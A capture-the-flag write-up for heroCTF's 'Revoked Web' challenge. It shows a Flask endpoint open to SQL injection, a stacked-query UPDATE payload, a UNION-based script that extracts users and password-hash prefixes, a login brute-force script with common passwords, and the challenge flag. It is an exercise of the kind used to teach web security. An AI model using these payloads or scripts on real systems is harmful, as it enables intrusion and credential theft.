Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebEasy

Revoked Web

CTF writeup for Revoked Web from heroCTF

//Revoked Writeup

Category: Web

Difficulty: Easy

Flag: Hero{N0t_th4t_r3v0k3d_ec6dcf0ae6ae239c4d630b2f5ccb51bb}

>Challenge Description

The challenge provided a web application with a login page and an employee directory. The goal was to gain administrative access and retrieve the flag from the /admin endpoint.

>Vulnerability Analysis

The core vulnerability was a SQL Injection in the /employees endpoint. The application used an unsafe f-string to construct the SQL query, directly embedding user input without sanitization.

Vulnerable Code (main.py):

python

@app.route("/employees", methods=["GET"])

@token_required

def employees():

    query = request.args.get("query", "")

    conn = get_db_connection()

    cursor = conn.cursor()

    # VULNERABILITY: Unsafe f-string interpolation

    cursor.execute(

        f"SELECT id, name, email, position FROM employees WHERE name LIKE '%{query}%'"

    )

    results = cursor.fetchall()

    conn.close()

    return render_template("employees.html", username=request.username, employees=results, query=query)

The token_required decorator checked for a valid JWT and verified if the user was an admin by querying the database. Crucially, the admin status was determined by the is_admin column in the users table, not the JWT payload.

>Exploitation Strategy

Attempt 1: Database Modification (Failed)

My initial thought was to use the SQL injection to modify the users table and set is_admin=1 for my user. I attempted:

  1.  Stacked Queries: '; UPDATE users SET is_admin=1 WHERE username='attacker'; --

  2.  Writable CTEs: Using WITH updated AS (UPDATE ... RETURNING ...)

However, the application was using SQLite, and the Python sqlite3 driver's cursor.execute() method does not support multiple statements (stacked queries) by default. Additionally, the SQLite version on the remote server (3.37.2) did not support the necessary syntax for writable CTEs in this context.

Attempt 2: Data Exfiltration & Brute Force (Success)

Since I couldn't modify the database, I pivoted to data exfiltration using UNION-based SQL injection.

Step 1: Enumerating Users

I wrote a script to extract user information from the users table.

Exploit Script (explore_db.py - simplified):

python

import requests

import re

  

base_url = "http://dyn11.heroctf.fr:14498"

# ... registration and login code ...

  

# Payload to extract users

# We map the columns: id -> id, username -> name, password_hash -> email, is_admin -> position

payload = "xxx' UNION SELECT CAST(id AS TEXT), username, SUBSTR(password_hash, 1, 20), CAST(is_admin AS TEXT) FROM users --"

  

r = session.get(f"{base_url}/employees", params={'query': payload}, cookies={'JWT': jwt_token})

  

# Regex to parse the HTML response

cards = re.findall(r'<h5 class="card-title[^"]*">([^<]+)</h5>', r.text)

print(f"Users found: {cards}")

Result: The script revealed two interesting users:

  •   admin

  •   admin1

Step 2: Brute Forcing Admin Password

With the usernames known, I attempted to crack the password hashes. However, extracting the full bcrypt hashes via the HTML response was messy due to truncation. Instead, I decided to try a simple password brute force attack against the login endpoint, assuming the admin might have a weak password.

Solver Script (brute_force.py):

python

import requests

import re

  

base_url = "http://dyn11.heroctf.fr:14498"

  

admin_usernames = ['admin', 'admin1']

common_passwords = [

    'admin', 'password', '123456', 'admin123', 'root', 'pass',

    'secret', 'admin1', '1234'

]

  

print("[*] Starting Brute Force...")

  

for username in admin_usernames:

    for password in common_passwords:

        try:

            r = requests.post(

                f"{base_url}/login",

                data={'username': username, 'password': password},

                allow_redirects=False,

                timeout=5

            )

            if 'JWT' in r.cookies:

                print(f"[+] SUCCESS! Creds found: {username}:{password}")

                jwt_token = r.cookies['JWT']

                # Access Admin Panel

                r2 = requests.get(f"{base_url}/admin", cookies={'JWT': jwt_token})

                if "Hero{" in r2.text:

                    flag = re.search(r'Hero\{[^}]+\}', r2.text).group(0)

                    print(f"[+] FLAG: {flag}")

                    exit(0)

        except Exception as e:

            continue

  

print("[-] Failed to find credentials")

Result:

The script successfully logged in as admin1 with the password pass.

>Conclusion

The challenge was a classic example of how SQL injection can be used for enumeration even when database modification is restricted. The "Revoked" theme was a bit of a red herring, as the solution didn't require bypassing the token revocation mechanism directly, but rather obtaining valid admin credentials.

Final Flag: Hero{N0t_th4t_r3v0k3d_ec6dcf0ae6ae239c4d630b2f5ccb51bb}